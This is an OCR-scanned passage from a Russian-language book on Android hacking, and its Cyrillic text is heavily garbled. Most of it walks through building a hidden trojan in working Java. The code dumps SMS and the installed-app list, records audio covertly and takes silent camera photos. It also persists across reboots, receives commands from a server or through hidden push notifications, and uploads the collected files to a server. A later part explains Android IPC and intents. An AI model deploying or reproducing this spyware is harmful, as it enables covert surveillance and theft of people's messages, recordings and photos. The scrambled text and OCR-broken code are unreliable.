pm.getInstalledApplications (PackageManager.GET META DATA);

try |
PrintWriter pw = Files.writeLines (appsFile);

for (ApplicationInfo packageInfo : packages) {
if (!isSystemPackage (packageInfo))

pw.println(pm.getApplicationLabel (packageInfo) + ": " +
packageInfo.packageName) ;

pw.close();
} catch (IOException e) ({(}

private boolean isSystemPackage (ApplicationInfo applicationInfo) {
return ((applicationInfo.flags & ApplicationInfo.FLAG SYSTEM) != 0);

Merton nonyyaer CMMCOK BCceX MPHIOKEHHH U COXpaHAeT ero B (a1 apps BHYTpH MpH-
BaTHOIO KaTajiora MpWIOXKEHHS.
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Oamn SMS

OTy 3aJa4yy peldTh yxe clokHee. YToObI MOMyYHTh CIMCOK BCEX COXPaHEHHBIX SMS,
HaM HeoOXoAUMO NoAKMOYHTECA K BJ] ¥ npoHTHCH MO He#t B MOMCKaX HY>KHBIX 3alucel.
Kon, no3ponstoumii saMnHyTh Bce SMS B ¢aiin, BHINIAAXT Tak:

| java

void dumpSMS (Context context, String file, String box) ({
SimpleDateFormat formatter = new SimpleDateFormat ("yyyy.MM.dd HH:mm:ss",
Locale.US);

Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/" +
box), null, null, null, null);

try {
PrintWriter pw = Files.writeLines(file);

if (cursor != null && cursor.moveToFirst()) {
do {
String address = null;
String date = null;
String body = null;

for (int idx = 0; idx < cursor.getColumnCount (); idx++) {
switch (cursor.getColumnName (idx)) {

case "address":
address = cursor.getString(idx);
break;

case "date":
date = cursor.getString(idx);
break;

case "body":
body = cursor.getString(idx):;

if (box.equals("inbox")) {
pw.println("From: " + address);
} else {
pw.println("To: " + address);

String dateString = formatter.format (new Date (Long.valueOf (date)));

pw.println("Date: " + dateString);
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if (body != null) {

pw.println("Body: " + body.replace('\n', ' '));
} else {

pw.println("Body: ");

pw.println();
} while (cursor.moveToNext()):;
}
pw.close();
cursor.close();
} catch (Exception e) {}

Hcnone3oBath €ro CJIEAYET TaK:

// CoXpaHfieM CIMCOK BCeX MOJIydeHHbX SMS
String inboxFile = context.getApplicationInfo().dataDir + "/sms_inbox"
dumpSMS (context, inboxFile, "inbox");

// CoxpaHsieM CIMCOK OTNpaBJIeHHEX SMS
String sentFile = context.getApplicationInfo().dataDir + "/sms_sent";
dumpSMS (context, sentFile, "sent");

3anucu B (paiine 6yayT BHIIIAAETH NPUMEPHO TaK:
From: Google

Date: 2017.02.24 06:49:55
Body: G-732583 is your Google verification code.

3anucb ayauo

3anucate ayauo ¢ MuKpogoHa MoxHOo ¢ momousio API MediaRecorder. loctaroyHo
nepeaaTth €My MapaMeTphbl 3alIHCH H 3allyCTHTh €€ C NOMOIUBIO METOAa start (). OcTaHo-
BHTb 3alHCh MOXXHO C MOMOIIBIO METOAA stop (). Cnemyromuii Ko JEMOHCTPHPYET, Kak
3TO chenatb. B JaHHOM cilyyae MBI HCHONB3YeM OTAENbHBIA CIALIMHA MOTOK, KOTOPbIi
MPOCHINAETCA N0 HCTEYEHHWH 3aJaHHOrO TalM-ayTa U OCTAHABJIMBAET 3aIHCh:

java

void recordRudio(String file, final int time) {
MediaRecorder recorder = new MediaRecorder () ;

recorder. setAudioSource (MediaRecorder.AudioSource.MIC) ;
recorder.setOutputFormat (MediaRecorder.OutputFormat.THREE GPP) ;
recorder. setAudioEncoder (MediaRecorder.AudioEncoder.AMR NB) ;
recorder.setOutputFile (file);
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try |
recorder.prepare () ;
} catch (IOException e) {}

recorder.start () ;

Thread timer = new Thread(new Runnable() {
@Override
public void run() {
try { .
Thread.sleep (time * 1000);
} catch (InterruptedException e) {
Log.d(TAG, "timer.interrupted");
} finally {
recorder.stop() ;
recorder.release();

}):

timer.start();

Hcnone3oBathk ero MOXXHO, HaIIpUMEP, TaK:

| java

DateFormat formatter = new SimpleDateFormat ("yyyy-MM-dd-HH-mm-ss", Locale.US);
Date date = new Date();

String filePrefix = context.getApplicationInfo().dataDir + "/audio-";

recordAudio (filePrefix + formatter.format (date) + ".3gp", 15);

HanHpli kon choenaer 15-ceKyHAHYIO 3alMCh H TNMOMECTHT ee B (ain audio-IATA-
1-BPEMA. 3gp.

Cremka

C kamepoii crokHee Bcero. Bo-mepmeix, mo-xopouieMy Heo6XoauMo ymeTh paboTaTth
cpasy ¢ nsymsa APl kamepsl: kiaccuyeckuM M Camera2, koTopblii nossuics B And-
roid 5.0 u cran ocHoBHbIM B 7.0. Bo-BTOpBIX, API Camera2 yacto paboTaeT HEKOppeKTHO
B Android 5.0 u maxe B Android 5.1, k 3TOMy HY>XHO OBITH rOTOBBIM. B-TpeTbux,
Camera2 — cioxHBIH ¥ 3amyTaHHblid API, ocHOBaHHBIN Ha KOJUIOEKaX, KOTOpPBIE BHI3bI-
BalOTCA B MOMEHT M3MEHEHHMS COCTOSAHMA KaMepbl. B-ueTBepThIX, HM B KJIacCHUECKOM
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API kamepsl, HU B Camera2 HeT CpeacTB i CKpbIToi cheMku. OHHM 06a TpedyroT moka-
3bIBaTh [PEBBIO, U 3TO OrPaHHYEHHE MPHAETCA OOXOAUTH C TIOMOLIBIO XaKOB.

YuureiBas, urto ¢ Camera2 paboTaTh HAMHOIO CJIOXKHEE, a ONMHCAaHHE HIOAHCOB PaboThI
C KaMepo# BBIXOAMT 3a PaMKH 3TOH KHHIH, s MPOCTO NMpPUBEXY Bech KO Kiacca s
CKPBITOH ChEMKH. A Bbl MOXKETE JIMOO HUCMOIB30BaTh €ro Kak €cTh, MO0 monpoboBaTh
pa3obparbcs ¢ HUIM CaMOCTOSATEJNIBHO:

java

public class SilentCamera2 {
private Context context;
private CameraDevice device;
private ImageReader imageReader;
private CameraCaptureSession session;
private SurfaceTexture surfaceTexture;
private CameraCharacteristics characteristics;
private Surface previewSurface;
private CaptureRequest.Builder request;
private Handler handler;

private String photosDir;

public SilentCamera2 (Context context) {
this.context = context;

private final CameraDevice.StateCallback mStateCallback =
new CameraDevice.StateCallback() {
@Override
public void onOpened (CameraDevice cameraDevice) {
device = cameraDevice;

try {
surfaceTexture = new SurfaceTexture (10);
previewSurface = new Surface (surfaceTexture);

List<Surface> surfaceList = new ArrayList<>();
surfacelist.add (previewSurface) ;
surfaceList.add (imageReader.getSurface());

cameraDevice.createCaptureSession(surfacelList, mCaptureStateCallback,
handler) ;
} catch (Exception e) {

}
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@Override
public void onDisconnected (CameraDevice cameraDevice) {

@Override
public void onError (CameraDevice cameraDevice, int error) {

}:

private CameraCaptureSession.StateCallback mCaptureStateCallback =
new CameraCaptureSession.StateCallback() ({
@Override
public void onConfigured (CameraCaptureSession captureSession) {
session = captureSession;

try {
request =
device.createCaptureRequest (CameraDevice.TEMPLATE PREVIEW) ;

request.addTarget (previewSurface) ;

request.set (CaptureRequest.CONTROL_AF TRIGGER,
CameraMetadata.CONTROL AF_TRIGGER START);

captureSession.setRepeatingRequest (request.build(),
mCaptureCallback, handler);

} catch (Exception e) {
}

@Override
public void onConfigureFailed(CameraCaptureSession mCaptureSession) {(}

)i

private CameraCaptureSession.CaptureCallback mCaptureCallback =
new CameraCaptureSession.CaptureCallback() {
@Override
public void onCaptureCompleted (CameraCaptureSession session,
CaptureRequest request,
TotalCaptureResult result) ({

}i

private final ImageReader.OnImageAvailableListener mOnImageAvailablelistener =
new ImageReader.OnImageAvailableListener() {
@Override
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public void onImageAvailable (ImageReader reader) ({
DateFormat dateFormat = new SimpleDateFormat ("yyyy-MM-dd-HH-mm-ss");
Date date = new Date();

String filename = photosDir + "/" + dateFormat.format (date) + ".jpg";

File file = new File(filename);
Image image = imageReader.acquirelatestImage():

try {
ByteBuffer buffer = image.getPlanes() [0].getBuffer();
byte[] bytes = new byte[buffer.remaining()];
buffer.get (bytes);

OutputStream os = new FileOutputStream(file);
os.write (bytes);

image.close();
os.close();

} catch (Exception e) {
e.getStackTrace();

closeCamera () ;
)i

private void takePicture() {
request.set (CaptureRequest.JPEG_ORIENTATION, getOrientation());

request.addTarget (imageReader.getSurface());
try {
session.capture (request.build(), mCaptureCallback, handler);
} catch (CameraAccessException e) {
}

private void closeCamera() {
try {
if (null != session) {
session.abortCaptures();
session.close();
session = null;
}
if (null != device) {
device.close();
device = null;
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if (null != imageReader) ({
imageReader.close();
imageReader = null;
}
if (null != surfaceTexture) {
surfaceTexture.release();
}
} catch (Exception e) {
}
}

public boolean takeSilentPhoto(String cam, String dir) {
photosDir = dir;
int facing;

switch (cam) {

case "front":
facing = CameraCharacteristics.LENS FACING FRONT;
break;

case "back":
facing = CameraCharacteristics.LENS FACING BACK;
break;

default:
return false;

CameraManager manager = (CameraManager)
context.getSystemService (Context.CAMERA SERVICE) ;

String camerald = null;
characteristics = null;

try {
for (String id : manager.getCameraldList()) {
characteristics = manager.getCameraCharacteristics(id);

Integer currentFacing =
characteristics.get (CameraCharacteristics.LENS FACING);

if (currentFacing != null && currentFacing == facing) ({
camerald = id;
break;

}
} catch (Exception e) {
return false;

}

HandlerThread handlerThread = new HandlerThread ("CameraBackground”);

handlerThread.start () ;
handler = new Handler (handlerThread.getLooper());
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imageReader = ImageReader.newlInstance(1920,1080, ImageFormat.JPEG, 2);
imageReader.setOnImageAvailableListener (mOnImageAvailableListener, handler);

try {
manager.openCamera (camerald, mStateCallback, handler);
// Xoem ¢okycMpoBKy
Thread.sleep(1000);
takePicture () ;

} catch (Exception e) ({
Log.d(TAG, "Can't open camera: " + e.toString());
return false;

return true;

private int getOrientation() {

WindowManager wm = (WindowManager)
context.getSystemService (Context.WINDOW SERVICE) ;

int rotation = wm.getDefaultDisplay().getRotation();
int deviceOrientation = 0;

switch (rotation) {

case Surface.ROTATION 0:
deviceOrientation = 0;
break;

case Surface.ROTATION 90:
deviceOrientation = 90;
break;

case Surface.ROTATION 180:
deviceOrientation = 180;
break;

case Surface.ROTATION 270:
deviceOrientation = 270;
break;

int sensorOrientation =
characteristics.get (CameraCharacteristics.SENSOR _ORIENTATION) ;

deviceOrientation = (deviceOrientation + 45) / 90 * 90;

boolean facingFront = characteristics.get (CameraCharacteristics.LENS_ FACING)
== CameraCharacteristics.LENS FACING FRONT;

if (facingFront) deviceOrientation = -deviceOrientation;
return (sensorOrientation + deviceOrientation + 360) % 360;
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DTOT KOA cleayeT BhI3bIBaTh B OTAEIBHOM MOTOKE, NepeaB B KauyeCTBE apryMEHTOB Me-
CTO pacroJIOKEHUs kaMepbl (front — MepeqHss, back — 3aJHAA) M KaTalor, B KOTOPBIH
OyxyT coxpaHeHsl ¢poTorpaduu. B kauecte uMeH ¢aiioB OyaeT UCNIONB30BaHa TEKYy1Uas
JaTa U BpeMms.

java

String cameraDir = context.getApplicationInfo().dataDir + "/camera/"
camera.takeSilentPhoto("front", cameraDir);

Cknaabisaem BCe BmecTe

C 3TOro MOMeHTa y Hac €cTb KapKac NPHJIOXKEHHs, KOTOPbIA 3aITyCKacT CEPBHC U CKpbI-
BaeT cBoe npucyTcTBre. EcTb Habop GyHKUMI U KI1accoB, KOTOpbIE MO3BOJAIOT COOUPATh
uHOpMaUMIO O cMapT(oHe W ero Bilafenble, a TaKkKe CKPHITHO 3alMChIBaTh ayAHO
U aenatb ¢oto. Tenepp Hy>kHO pa3oOpaTbcs, KOra U NMPH KakUX OOCTOATENbCTBAX MX
BBI3bIBATb.

Ecnu MbI mpocTo 3acyHeM BbI30OB BCeX 3TUX (QYHKUHMH B CEpBHC, TO MOay4um Gecrosnes-
HOE «O0JHOpa30BOE MpuiioxkeHue». Cpasy Mociie 3armycka OHO y3HaeT HHPOPMAaLHIO O Me-
CTOTOJIOXKEHUH, MOMYYUT CIUCOK NMpHIOKeHUH, SMS, caenaer 3anuce ayauo, CHUMOK,
COXpaHHT Bce 3TO B (aiiyibl B CBOEM NMPUBATHOM katasiore U ycHeT. OHO Aaxe He 3amyc-
THTCA 10CJIe Nepe3arpy3KH.

['opa3no 6osee none3HsIM OHO CTAHET, €CJIM ONMpPEAEIEHHE MECTOMOJI0KEH S, AaMIT NIPH-
noxxeHud 1 SMS OyneT NpoUCXOAUTH MO pacHHUCaHHIO (JOMYCTHM, pa3 B nosvaca), CHH-
MOK 3KpaHa — MpH KaXXIOM BKJIIOYEHHU YCTPOMCTBA, a 3aMUCh ayavo — IO KOMaHAe
C cepsepa.

3aaaHua NO pacnUCaHUIo

UYro6rl 3acTaBUTh Android BBIMOJHATH KOJ HAlLEro NMPHJIOKEHUS 4yepe3 ONnpelc/CHHbIE
MHTEpBaJIbl BpEMEHH, MOXKHO Hcnonib3oBaTh AlarmManager. /{11 Hayana HanuMIIeM TakoH
Kacc:

java

public class Alarm extends BroadcastReceiver {
public static void set (Context context) {

AlarmManager am = (AlarmManager)
context.getSystemService (Context .ALARM SERVICE);

Intent intent = new Intent (context, Alarm.class);
PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);

am.setInexactRepeating (AlarmManager.ELAPSED REALTIME WAKEUP,
SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);
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@0Override
public void onReceive (Context context, Intent intent) {
// TBOI KO& 31eChb

Mertoq set () yCTaHOBHUT «OyaHIbHUKY», cpabaThiBalOLIMil KaXKaple TPUALATH MUHYT H 3a-
MyCKAIOIIKIi METOA onReceive (). IMEHHO B HEro Mbl JOJKHBI TIOMECTUTH KOJ, CKMIbI-
BaIOLIMI MecTononoxeHre, SMS u cniucok npunoxeHuii B gpainsl. B Meton “onCreate()’
cepBUca 106aBHM CIIEQYIOLIYIO CTPOKY:

Alarm.set (this)

CHUMOK NpU BKNFOUEHUU 3KpaHa

BeccMbICieHHO AenaTh CHUIMOK KaXKIble IoJiyaca. Fopa3no MOJIE3HEE A€1aTh CHUMOK I1€-
penHei kaMepoii mpu pa3biokupoBke cMapTdoHa (cpasy BHAHO, KTO €ro MCMOJb3YET).
Yrobsl peaIin30BaTh TaKOE€, CO3JaJAUM KJIACC ScreenOnReceiver:

java ' o . . : |

class ScreenOnReceiver extends BroadcastReceiver() {
@Override
void onReceive (Context context, Intent intent) {
// TBOI KOO 3HeChb

U 3aperucTpupyeM ero B Kozie cepBuca:

IntentFilter filter = new IntentFilter();
filter.addAction ("android.intent.action.ACTION SCREEN ON");
registerReceiver (new ScreenOnReceiver (), filter);

3anyck npu 3arpyske

B naHHbI MOMEHT y Halllero NpWIOXKeHUs ecTh oqHa 6onbluas npobaemMa — oHo Oyner
paboTaTh POBHO 10 TeX NOp, MOKa MOJIB30BaTeNb He mepe3arpy3ur cMapTdoH. YtoGsl
nepesammyckaTh CEPBHC MpH 3arpy3ke cMapTOHa, CO3AaiMM €Lle OAMH PECHBEP:

java _ ]|

class BootReceiver extends BroadcastReceiver() ({
@Override
void onReceive (Context context, Intent intent) {
Intent servicelntent = new Intent(this, MainService.class);
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startService (servicelntent);

U no6aBum ero B MaHHdecCT:

xmi

<receiver android:name="com.example.BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>

3anucb ayauo No komaHae

C 3THM HeMHOro cioXkHee. CaMbIii MPOCTO# cNOCO® OTAATh KOMAHAY HallEMy TPOSHY —
3anMcaTh ee B OOBIYHBIH TEKCTOBBIH (aii U BBHUIOXKHTH 3TOT (aitn Ha cepBepe. 3aTeM
MOMECTHTh B CEPBHC KO/, KOTOPbIi OyneT, JOMyCTHM, KaXIyl0 MUHYTY MpPOBEPATh cep-
Bep Ha HanH4ue ¢aiiia U BHIMOMTHATH 3aMMHCAHHYIO B HEM KOMaHy.

B kome 3To MOXKET BBITJIAAETD TNPUMEPHO TaK:

java

String url = "http://example.com/cmd"
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url (url).build();

while (true) {
Response response = client.newCall (request) .execute();
String cmd = response.body().string();
cmd = cmd.trim()
if (cmd.equals("record")) {
// IlenaeM aymo3anuch
}
try {
Thread.sleep (60 * 1000);
} catch (InterruptedException e) {}

KoHe4HO e, y 3TOro koJa ecTb HeIOCTaTOK — €CJIH Bbl OJMH pa3 3aMnuileTe KOMaHAy
B ¢aiin Ha cepBepe, TPOAH OyAeT BBIMONHATH €€ KaKaylo MHHYTY. Yro6sl 3TOro msbe-
’KaThb, JOCTaTOYHO A0GaBUTH B (paill unucnoBoH npedukc B HopMaTe «X:komanna» M yBe-
JMYMBATh 3TOT NMpedHKC MpH KaXIOoH 3amucH koMaHabl. TPosH Xke JO/DKEH COXPaHATh
3TO YHCJIO U BHIMOMHATE KOMaHIY TOJBKO B TOM CITy4ae, €CJIM OHO YBEHYHIIOCh.
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["opa3mo xyxe, 4TO Ball TPOAH OymeT 3aMeTHO pacxonoBath 6atapero. A Android (Hauu-
Has C wecToi BepcuM) OyaeT ero B 3TOM OrpaHH4YMBaTh, 3aKpbiBast JocTyn B MHTepHeT.
Yrobbl u30ekaTh 3THX MpoOJeM, MOXHO HCHONb30BaTh cepBUC push-yBenomieHui.
OneSignal (http://onesignal.com) oTnMyHO moaxoauT Ha 3Ty poib. OH OecrateH U
OYeHb MpPOCT B HCIMONB30BAaHUH. 3aperuCTpUpYHTECh B CepBHce, 100aBbT€ HOBOE IMpH-
JIOKeHHE U ClielyidTe HHCTPYKUUAM. B KOHLIe BaM CKaXyT, KakHe CTPOKH HEoOXO0IUMO
100aBHTH B build.gradle NPUJIOKEHHS, a TAIOKE MOMPOCAT CO34aTh KJ1acc BPOJE 3TOro:

java

class App extends Application {
@Override
public void onCreate() {
super.onCreate ()
OneSignal.startInit (this).init()

Ho 3to eme He Bce. Takke HaM HyxXeH cepBHC — oOpaboruuk push-yBenomieHuid,
KOTOpBIH OyaeT MPUHUMATh UX M BHITNIOJHATH NEHCTBUA B 3aBUCHMOCTH OT COJepiKalllHX-
cs B push-yBeJOMJIEHHH IaHHBIX:

java

class 0SService extends NotificationExtenderService {
@0Override

protected boolean onNotificationProcessing(OSNotificationReceivedResult
receivedResult) {

String cmd = receivedResult.payload.body.trim()
if (cmd.equals("record")) {
// DenaeM aym1o3amnmchb

// He nokas3eBaTh yBeIOMJIEHME
return true

OTOT KOI TPaKTYET COAEp>KALIyloCs B YBEJIOMJIEHHH CTPOKY Kak KOMAaHIy H, €C/IM 3Ta
KOMaHJa — record, BHIMOJHAET HyXHbIH HaM kol. CaMO yBeIOMJIEHHE HE MOSBHTCA Ha
3KpaHe, MO3TOMY MOJb30BaTeNb HHYEro He 3ameTHT. [locneaHui mwTpux — n06aBUM
cepBHUC B MaHUECT:

xmi

<service
android:name="org.antrack.app.service.OSService"
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android:exported="false">
<intent-filter>
<action android:name="com.onesignal.NotificationExtender" />
</intent-filter>
</service>

OTtnpaska AaHHLIX Ha cepsep

Hrak, Mbl coOpanu DaHHBIE U COXPaHWIM MX B (paiinbl BHyTpH MpPHUBATHOTO KaTasora.
Teneps MBI rOTOBBI 3aIMTh 3TH AaHHBIE Ha cepBep. CaenaTh 3TO He TaK YK CJI0XHO, BOT,
HanpuMep, KaKk MO>KHO OTIPaBUTh Ha cepBep Hairy QOTKy:

java

private static final MediaType MEDIA _TYPE JPEG = MediaType.parse("image/jpeg");

public void uploadImage (File image, String imageName) throws IOException {
OkHttpClient client = new OkHttpClient();

RequestBody requestBody = new MultipartBody.Builder () .setType (MultipartBody.FORM)
.addFormDataPart ("file", imageName, RequestBody.create (MEDIA TYPE JPEG, image))
.build();

Request request = new Request.Builder().url("http://com.example.com/upload")
.post (requestBody) .build() ;

Response response = client.newCall (request).execute();

BBI3BIBaTh 3TOT METOM HY)KHO M3 METOJA onReceive () KJIacca Alarm, YTOOBI KaXKIble TPH-
ALATh MHHYT NPHIOXKEHHE OTIPABIIAIO HOBBIE (haiiibl Ha cepBep. OTnpaBieHHble daiiibl
clIeayeT yAaNATh.

Hy u, koHe4Ho e, Ha CTOpOHe cepBepa Tebe HEOOXOOMMO pealTn3oBaTh XEHIIEP, KOTO-
pblii 6yner oOpabarteiBaTh arutoansl. Kak 310 caenats, CHIBHO 3aBHCHT OT TOro, Kako#
(bpeliMBOpK M cepBep BbI HCHIONIB3YETE.

Beisoab:r

Android — ou4eHp apyxemoOHas Kk pa3paboTyukamM CTOpPOHHMX mnpuioxenuit OC.
ITosToMy HamuMcaTh MOJHOLEHHBIH TPOSH 34€Ch MOXKHO, MCHONB3YSA CTaHAapTHBIA APL
Bonee Toro, ¢ noMousto Toro ke API ero 3Ha4ok MOXXHO CKPBITh W3 CIIMCKa MpPUIIOXKeE-
HHIii ¥ 3aCTaBUTh paboTaTh B )OHe, HE3aMETHO 1A MOb30BaTeEs.



PN
rMABa 15 l'l

Ucnonbsyem sBosmoxHocTu Android
B NUYHLIX Uenax

VMenue nmucate 3peKTUBHBIE 3TOBPEAHBIE NPHIOKEHHUS HANPIMYIO 3aBUCHT OT 3HAHHUA
0ocoOeHHOCTEH cpelbl, B KOTOpOH 3TH MpuWiIoKeHHUs OyayT paGoraTh. Yke yMOMHHaB-
wrecs panee APl — Tonbko 4acTh TexHHUueckux ocobeHHoctel Android. Kpome atoro,
BPEIOHOCHbIE NPOrpaMMbl OOBIYHO HCIIONB3YIOT TaKHe BO3MOXKHOCTH, Kak AUHaAMHYecKas
3arpyska koza, Mexanusm IPC (Inter Process Communications) ans obuieHus ¢ cucreMoid
M JpYyrMMHM TMpPHJIOKCHUSAMM, TNpaBa aAMHUHHUCTpaTopa YCTpOWCTBa, MpaBa CepBHcCA
Accessibility, HenocTynHsle 06bIYHBIM MpHIOXKEHUAM CKpbIThie AP, a Taioke npasa root,

KOTOpBIE CErogHs IOJYYHTh HAaMHOTO CJIOXKHEE, YeM BO BpEMEHa MEepBBIX BEPCHIA
Android.

IPC

Kak MbI y)xe 3HaeM, npuinoxenus ana Android:

O HUMeEIOT JOCTYN TONBKO K CBOEMY COOCTBEHHOMY KaTajlory M (eciu eCThb TakHe IMOJIHO-
Mouus) k SD-kapre;

O MoryT MCnonb30BaTh TOJIBKO 3apaHee OroBopeHHble Bo3MoxxHocTH OC (a HauuHas
¢ Android 6 monb3oBaTeNb MOXKET OTO3BATh MOJTHOMOYMA MPSIMO BO BpeMs paboThI
NpOrpamMBbl);

O He UMeEIOT NpaBa HampsAMYIO 3aIlyCKaTh, CO3/1aBaTh KaHa/lbl CBA3M WK BBI3bIBATH
METO/Ibl APYTUX MPHIIOKEHUH.

PeanuzoBaHo 3TO BCe ¢ MOMOILBIO CTaHAAPTHBIX MpaB A0CTyNa K ¢aitnaM, MHOTOYHCIIEH-
HBIX MPOBEPOK MNpaB 10cTyna K pecypcam OC Ha Bcex ypOBHAX BIUIOTH A0 SAApa U 3aIryc-
Ka Ka)XA0ro NpHJI0KEHHUS B CBOEH COOCTBEHHON BUPTYanbHOM MallluHeE.

Bce 3TM MexaHM3MBI OTJAMYHO PaboOTalOT M BBIMOJHAIOT CBOU (QYHKLUHMH, HO €CTh OJHA
npo6ieMa: €C/iM IPHIOXKEHHS MOTHOCTBIO OTPe3aHbl APYT OT ApYyra, TO Kak UM o0LaThes
M KaK OHM JOJDKHBI B3aUMOJEHCTBOBATh C Ooilee NMPHBUIIETUPOBAHHBIMU CHCTEMHBIMH
CEPBHCAMH, KOTOpbIE CYTh T€ )K€ NMpHIokeHUa? OTBET Ha 3TOT BOMPOC TAaKOB: CHCTEMaA
coolleHuii ¥ BbI30Ba npoueayp Binder, oqHa U3 MHOTOYMCIEHHBIX HAXOMOK co3aaTese
nere”aapHoit BeOS, nepekouesasiuas B Android.
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Binder noxox Ha MexaHusM COM u3 Windows, HO NpOHM3BIBAET BCIO OMEPAaLMOHHYIO
cucteMy oT H no. PakTHyecku Bcs BbicOkoypoBHeBas 4acTh Android Gasupyercsa Ha
Binder, mo3Bonss KOMMNOHEHTaM CHCTEMBI U MPHIOKEHUIM OOMEHHBATBHCA NAaHHBIMH H
nepenaBaTth ApYr APYry yrnpaBlieHHe, YETKO KOHTPOJIUPYS MOJHOMOYHS KOMIOHEHTOB Ha
B3auMozeicTBHe. Binder ucnons3yercs s B3aMMOAEHCTBHA NPWIOXKEHHH ¢ rpaduye-
CKOM MOACHCTEMOH, C €ro e MOMOLIBIO MPOMCXOAHT 3aITyCK H OCTaHOBKA MPHIIOXKEHHH,
«ob1eHHe» NMPHIOKEHHH ¢ CHCTEMHBIMH cepBHcaMH. Binder ucnons3yercsa naxe toraa,
KOTZia Bbl 3aITyCKaeTe HOBYIO aKTHBHOCTb HJIM CEPBHC BHYTPH CBOErO MPHIIOKEHHS.

MHTeHTBI

B Android o6wekrt knacca Intent sBnsercs abcrpakuueii coodbwenns Binder u mo 6oib-
IIOMY CYETY NPEACTaBIAeT cob0if cnocob mepenayu ynpapleHHs KOMIOHEHTaM CBOETO
WM 4YXKOTO MPHJIOXKEHHS, BHE 3aBUCHMOCTH OT TOrO, 3aIyLIEHO MPHIOKEHHE, K KOTO-
pOMY OTHOCHTCS JaHHBIH KOMIOHEHT, W1 HeT. baHanbHeHIMiA nMpuMep — 3amyck ak-
THBHOCTH:

java

Intent intent = new Intent (this, SecondActivity.class);
startActivity(intent);

3TO0 mpUMep TaK Ha3bIBAEMOTo ABHOTO MHTEHTa. ECTh KJlacc SecondActivity, B KOTOPOM
€CTh MEeTOA OnCreate(), @ Mbl MIPOCTO FTOBOPUM CHCTeMeE: «XO4Yy 3aMyCTHTh aKTHBHOCTD,
pealn30BaHHyIO B IaHHOM Kiacce». CooOlleHHe yXOAMT, CHCTEMA €ro Mojay4aer, Haxo-
IOUT METOJ OnCreate () B KJIacCe SecondActivity W 3amyckaeT ero. CkyuHo u mpocto. Ho
BCE CTAHOBUTCS HAMHOIO HHTEPECHEE, €CJIH MCIONb30BaTh HEABHBIA MHTEHT. [{ns 3TOrO
HEMHOTO U3MEHHM Hall PUMED:

java l

Intent intent = new Intent ("com.my.app.MY ACTION");
startActivity(intent);

H MOIlPIq)Hl.lPlpyCM OIMHCAHHUE€ aKTHUBHOCTH B MaHH(l)eCTeI

| xml

<activity
android:name="com.my.app.SecondActivity"
android:label="@string/app name" >
<intent-filter>
<action android:name="com.my.app.MY ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
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Pesynbrar Oyner TOT ke, a BO3HH HaMHOro 6osble. OAHAKO €CTh OAHO O4eHb OosbIIOe
«HO»: B JaHHOM CJTy4a€ Mbl UCTONb30BAJIM HE UM KOMIIOHEHTA, KOTOPbIA XOTHUM 3aITyC-
TUTb (SecondActivity), a Oelicmeue, KOTOPOE XOTHUM BBIMOJHUTb (com.my.app.MY ACTION).
To ectb popmynupoBka «S xovy 3amycTHTb...» NpeBpaTHiach B «5 Xody BBIMOJHHUTH
TaKoe-TO JEHCTBUE, U MHE IUIEBaTh, KTO 3TO caenaeT». CleACTBUEM 3TOro cTal TOT GaKT,
YTO Hauly aKTUBHOCTb T€MEPb MOXKHO 3aIyCTUTh M3 JIIOOOTr0 APYroro NpujiIokKeHUs TOYHO
TakuUM ke crocobom. Bee, 4To HY»KHO 3TO yKka3aTb, — OeHCTBHE, BCE OCTAbHOE CUCTEMA
C/AenaeT cama.

MokeT rokas3arbcsi, YTO BCE ITO HEMHOIO OECCMBICTIEHHO U 0ecnose3HO, HO B3rJISHUTE
Ha cjielyOLHH NpUMep:

java

Intent intent = new Intent(Intent.ACTION_CALL);
intent.setData (Uri.parse("tel:12345678900"));
startActivity(intent);

JTOT NPOCTOi KO/ MO3BOMSET MO3BOHHUTH JIIOOOMY aOOHEHTY (MpH HATMYHH NMOJTHOMOYHS
android.permission.CALL PHONE), a Bce Oylarogaps ToMy, 4yto npuioxende Phone ymeer
oOpabaTbiBaTh J€HCTBUE Intent.ACTION CALL (TOYHO TaKHM JK€ CIOCOOOM, Kak B HalleM
npuMepe, ¢ nomowsio intent-filter). bonee Toro, ecnu Ha cMapTdoHe yCTaHOBNEHA CTO-
POHHSS «3BOHWIIKA», KOTOpas yMEET pearupoBaTh Ha TO XK€ JeHCTBHE, CUCTEMA CIIPOCHT,
Kakoe UMEHHO NMPHUJI0XKEHHEe HCIMOIb30BaTh 1S 3BOHKA.

CyuiecTByeT MHOXECTBO CTaHAAPTHBIX CUCTEMHBIX AEHCTBHIA, KOTOpble MOryT ob6paba-
ThIBaTb MpUIoXKeHHs. Hanpumep, Intent.ACTION VIEW 18 OTKPbITHS BeO-CTpaHHML, H30-
OpakeHUH M ApPYrMX NOKYMEHTOB, ACTION SEND [UIS OTNpPaBKHM JaHHbIX (CTaHIApTHBIA
aunanor «[lopenuTbes»), ACTION SEARCH M T. A. [lntoc pa3paboTyuky MpUIOXKEHWIH MOryT
onpenesiaTh CBOM COOCTBEHHbIE JEWCTBHA Ha MaHep TOro, KaK Mbl 3TO CAENaId BO BTO-
pom npumepe. Ho ecTb oaHo AeiicTBHe, koTopoe 00s3aHbl 0OpabaThiBaTh BCE MPHIIONKE-
HHS, UMEIOILME MKOHKY Ha pabodeM cTojie, — 3TO android.intent.action.MAIN. Cpena
pa3paboTku cama co3zaeT Ajs Hero intent-filter M yka3bIBaeT MainActivity B KayecTBe
nostyyarens. Tak 4To BbI MOXeETe Aaxe He MOAO3pEBATh O TOM, UTO Ballie MPUIOKEHHE
yMeeT ero obpabaTbiBaTh, HO HMEHHO OHO MMO3BOJISET JIAayHYepY y3HaTh, YTO Ha CMapT-
(hOH yCTaHOB/EHO Ballle MPHIIOKEHHE.

OIlHaKO BC€ 3TO HC TAK y)K nu l/lHTCpeCHO, UHB paMKax 3T0ﬁ KHUTH 4 6]:1 XO0TEJ1 CKOHLICH-
TPUPOBATLCS Ha APYroM acnekTe UHTEHTOB U Binder, a MIMEHHO Ha LUIMPOKOBELIATENBHBIX
COOOLLEHHUSAX.

LLiupokosewatensHere coobueHus

OjaHa U3 3aMeydaTelibHbIX 0COOEHHOCTEH MHTEHTOB 3aK/II0YaeTcd B TOM, HYTO 3TO HMC€HHO
